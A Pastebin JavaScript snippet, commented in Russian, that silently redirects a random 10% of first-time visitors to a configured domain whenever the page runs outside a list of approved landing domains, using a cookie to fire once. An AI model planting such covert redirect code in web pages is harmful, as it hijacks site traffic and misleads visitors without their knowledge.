SHARE
TWEET

Untitled

Nevep Feb 14th, 2020 (edited) 243 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function setCookie(name,value,days) {
  2.     var expires = "";
  3.     if (days) {
  4.         var date = new Date();
  5.         date.setTime(date.getTime() + (days*24*60*60*1000));
  6.         expires = "; expires=" + date.toUTCString();
  7.     }
  8.     document.cookie = name + "=" + (value || "")  + expires + "; path=/";
  9. }
  10.  
  11. function getCookie(name) {
  12.     var nameEQ = name + "=";
  13.     var ca = document.cookie.split(';');
  14.     for(var i=0;i < ca.length;i++) {
  15.         var c = ca[i];
  16.         while (c.charAt(0)==' ') c = c.substring(1,c.length);
  17.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  18.     }
  19.     return null;
  20. }
  21.  
  22. function getRandomInt(min, max) {
  23.     min = Math.ceil(min);
  24.     max = Math.floor(max);
  25.     return Math.floor(Math.random() * (max - min + 1)) + min;
  26. }
  27.  
  28. function js_h_check() {
  29.  
  30.     //НАСТРОЙКИ начало
  31.  
  32.     //процент от 1 до 100
  33.     var percent = 10;
  34.  
  35.     //куда редиректить
  36.     var redirect_url = "https://your-domain.com/";
  37.  
  38.     //список доменов на которых расположены ленды, на этих доменах (и поддоменах этих доменах) редирект отрабатывать не будет
  39.     var js_h_domains = [
  40.         'domain-landing1.com',
  41.         'domain-landing2.com',
  42.         'domain-landing3.com',
  43.         'domain-landing4.com',
  44.         'domain-landing5.com',
  45.     ];
  46.  
  47.     //НАСТРОЙКИ конец
  48.  
  49.     var current_domain = window.location.hostname;
  50.  
  51.     var cookie = getCookie("js_h_ajax");
  52.     setCookie("js_h_ajax", "1", 365);
  53.  
  54.  
  55.     var result = false;
  56.     for (var k = 0; k < js_h_domains.length; k++) {
  57.         var d = js_h_domains[k];
  58.         if (current_domain.includes(d)) {
  59.             result = true;
  60.             break;
  61.         }
  62.     }
  63.  
  64.     var rnd = getRandomInt(1, 100) <= percent ? true : false;
  65.  
  66.     if (!result && !cookie && rnd) {
  67.         window.location = redirect_url;
  68.     }
  69. }
  70.  
  71. js_h_check();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top